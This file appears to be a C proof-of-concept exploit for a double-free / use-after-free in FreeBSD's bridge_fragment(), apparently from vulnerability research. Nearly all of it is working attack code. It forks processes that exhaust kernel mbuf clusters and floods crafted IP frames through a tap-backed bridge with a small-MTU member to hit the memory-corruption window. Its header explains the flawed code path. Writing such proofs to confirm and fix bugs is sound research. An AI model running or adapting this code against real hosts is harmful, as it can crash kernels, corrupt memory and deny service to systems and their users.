DF-3278 / frag_flood.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 | /* * DF-3278 -- bridge_fragment() double-free / UAF on M_PREPEND failure. * * if_bridge.c:4386-4405: after ip_fragment() succeeds, the re-header * loop does, per fragment m0: * * M_PREPEND(m0, ..., M_NOWAIT); // on failure FREES m0 (mbuf.h:463) * if (m0 == NULL) { error = ENOBUFS; continue; } * ... * else * m_freem(m); // <-- frees fragment #1 ('m'), * // again, for EVERY remaining * // iteration * and the loop increment reads m0->m_nextpkt of the just-freed m0. * * Any M_NOWAIT allocation failure while re-attaching headers to a * fragment chain of >= 2 fragments double-frees / UAFs. * * This PoC sets up the preconditions: * - kldload ipfw (so inet pfil hooks are registered -> * bridge_pfil() runs on forwarded packets) * - bridge member with a small MTU so bridge_pfil's OUT path * fragments (i > ifp->if_mtu, if_bridge.c:4115-4121) * - floods large frames through the bridge to stress mbuf * allocation (M_PREPEND must fail once at the wrong moment) * * NOTE: deterministically forcing m_gethdr(M_NOWAIT) failure is not * possible from userland without kernel knobs; this PoC floods to * maximize the chance. See VERDICT.md for the code-path analysis. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/ethernet.h> #include <net/bridge/if_bridgevar.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <stdlib.h> #define BRIDGE "bridge0" static int s; /* * Drain kernel mbuf clusters: UDP sockets on loopback with huge receive * buffers that are never read. Each queued 64KB datagram pins real * clusters, so N drainers can hold most of the cluster pool, forcing * m_gethdr(M_NOWAIT) failures inside bridge_fragment()'s re-header * loop (the M_PREPEND double-free window). */ static void drainer(int id) { struct sockaddr_in sin; unsigned char *big; int sock, one = 1, sz = 2 * 1024 * 1024, i; big = malloc(65500); if (big == NULL) _exit(1); memset(big, 0x5a, 65500); sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) _exit(1); setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &sz, sizeof(sz)); setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz)); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(9100 + id); sin.sin_addr.s_addr = htonl(0x7f000001); if (bind(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) _exit(1); for (i = 0; ; i++) { /* send to the NEXT drainer's port so queues fill up; * close + reopen the socket periodically to oscillate * pool pressure (a permanently dry pool just wedges) */ sin.sin_port = htons(9100 + ((id + 1) % 8)); if (sendto(sock, big, 65500, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) usleep(2000); /* queue full */ if ((i & 0xfff) == 0xfff) { close(sock); /* release all pinned clusters */ usleep(300000); sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) _exit(0); setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &sz, sizeof(sz)); setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz)); if (bind(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) _exit(0); } } } static void die(const char *m) { fprintf(stderr, "[-] %s: %s\n", m, strerror(errno)); exit(1); } static void drvspec(const char *ifname, int subcmd) { struct ifbreq r; struct ifdrv ifd; memset(&r, 0, sizeof(r)); strlcpy(r.ifbr_ifsname, "tap1", IFNAMSIZ); memset(&ifd, 0, sizeof(ifd)); strlcpy(ifd.ifd_name, ifname, IFNAMSIZ); ifd.ifd_cmd = subcmd; ifd.ifd_len = sizeof(r); ifd.ifd_data = &r; if (ioctl(s, SIOCSDRVSPEC, &ifd) < 0) die("drvspec"); } int main(int argc, char **argv) { unsigned char frame[1514]; struct ip *ip; int fd0, i, iters; setvbuf(stdout, NULL, _IOLBF, 0); s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) die("socket"); iters = (argc > 1) ? atoi(argv[1]) : 200000; /* fork cluster drainers to dry out the mbuf pool */ if (argc > 2 && strcmp(argv[2], "drain") == 0) { int d; for (d = 0; d < 8; d++) { if (fork() == 0) { drainer(d); _exit(0); } } sleep(3); /* let the queues fill */ } /* setup assumed done by run.sh (bridge0, tap0(1500), tap1(600)) */ fd0 = open("/dev/tap0", O_RDWR); if (fd0 < 0) die("open /dev/tap0"); memset(frame, 0, sizeof(frame)); /* dst=02:11 src=02:22 type=0x0800 */ memset(frame, 0x02, 6); frame[5] = 0x11; memset(frame + 6, 0x02, 6); frame[11] = 0x22; frame[12] = 0x08; frame[13] = 0x00; /* valid IP header: src 10.0.0.1 -> dst 10.0.0.2, len = 1500 */ ip = (struct ip *)(frame + 14); ip->ip_v = IPVERSION; ip->ip_hl = 5; ip->ip_len = htons(1500); ip->ip_ttl = 64; ip->ip_p = IPPROTO_UDP; ip->ip_src.s_addr = htonl(0x0a000001); ip->ip_dst.s_addr = htonl(0x0a000002); { /* internet checksum: sum BIG-ENDIAN 16-bit words of the * 20-byte header, else bridge_ip_checkbasic() drops the * frame (ips_badsum). Byte-wise to avoid endian traps. */ unsigned char h[20]; uint32_t sum = 0; int j; ip->ip_sum = 0; memcpy(h, ip, sizeof(h)); for (j = 0; j < 20; j += 2) sum += (h[j] << 8) | h[j + 1]; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); ip->ip_sum = htons(~sum & 0xffff); } printf("[+] flooding %d jumbo frames through bridge (mtu 600 member)\n", iters); for (i = 0; i < iters; i++) { if (write(fd0, frame, sizeof(frame)) < 0) { if (errno == ENOBUFS) { usleep(100); continue; } die("tap write"); } if ((i % 10000) == 0) { printf(" %d\r", i); fflush(stdout); } } printf("[+] done, no crash observed\n"); return (2); } |